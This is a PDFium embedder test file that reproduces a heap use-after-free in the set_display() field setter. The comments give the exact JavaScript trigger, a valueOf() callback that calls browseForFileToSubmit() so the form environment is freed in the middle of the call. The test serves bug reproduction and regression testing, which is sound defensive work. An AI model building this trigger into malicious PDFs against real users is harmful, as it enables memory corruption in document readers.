// Copyright 2025 The PDFium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

#include "public/fpdf_formfill.h"
#include "testing/embedder_test.h"
#include "testing/gtest/include/gtest/gtest.h"

namespace {

// Demonstrates that CJS_Field::set_display() / set_line_width() capture
// |form_fill_env_.Get()| into a register *before* evaluating the sibling
// argument |pRuntime->ToInt32(vp)|, which can run attacker-controlled
// JavaScript via valueOf().  If the embedder destroys the
// CPDFSDK_FormFillEnvironment during that callback, SetDisplay() at
// fxjs/cjs_field.cpp dereferences the dangling pointer.
//
// This test simulates such an embedder by destroying the form environment
// from inside the IPDF_JSPLATFORM::Field_browse callback, which is reachable
// from valueOf() via |field.browseForFileToSubmit()| on a file-select text
// field.  The browseForFileToSubmit() return path does not touch pRuntime or
// the env, so control returns cleanly to set_display() which then calls
// SetDisplay() with the stale raw pointer.
//
// Under ASAN this produces heap-use-after-free at
// CPDFSDK_FormFillEnvironment::GetInteractiveForm() called from SetDisplay().

class CJSFieldSetDisplayUAFEmbedderTest : public EmbedderTest {
 public:
  static CJSFieldSetDisplayUAFEmbedderTest* g_self;

  static int FieldBrowseTrampoline(IPDF_JSPLATFORM* platform,
                                   void* file_path,
                                   int length) {
    // This runs while CJS_Field::set_display() has already captured
    // form_fill_env_.Get() into a register and is mid-way through
    // CFX_V8::ToInt32(vp).
    if (g_self && !g_self->fired_) {
      g_self->fired_ = true;
      // Tear down the CPDFSDK_FormFillEnvironment (and CJS_Runtime) the way
      // an embedder closing the document during a nested message loop would.
      g_self->CloseDocument();
    }
    return 0;  // Signal "no file" so JS_fieldBrowse() returns early.
  }

  bool fired_ = false;
};

CJSFieldSetDisplayUAFEmbedderTest*
    CJSFieldSetDisplayUAFEmbedderTest::g_self = nullptr;

}  // namespace

TEST_F(CJSFieldSetDisplayUAFEmbedderTest, SetDisplayArgSequencingUAF) {
  g_self = this;
  ASSERT_TRUE(OpenDocument("set_display_uaf.pdf"));

  // SetupFormFillEnvironment() zeroed the IPDF_JSPLATFORM struct and only
  // installed app_alert; install Field_browse so JS_fieldBrowse() reaches us.
  static_cast<IPDF_JSPLATFORM*>(this)->Field_browse = FieldBrowseTrampoline;

  // The PDF's /OpenAction runs:
  //   var f = this.getField("F");
  //   f.display = { valueOf: function() {
  //       f.browseForFileToSubmit();   // -> FieldBrowseTrampoline (frees env)
  //       return 0;
  //   }};
  // After ToInt32(vp) returns, set_display() invokes
  //   SetDisplay(stale_env, field_name_, form_control_index_, 0);
  // which dereferences the freed CPDFSDK_FormFillEnvironment.
  DoOpenActions();

  g_self = nullptr;
}
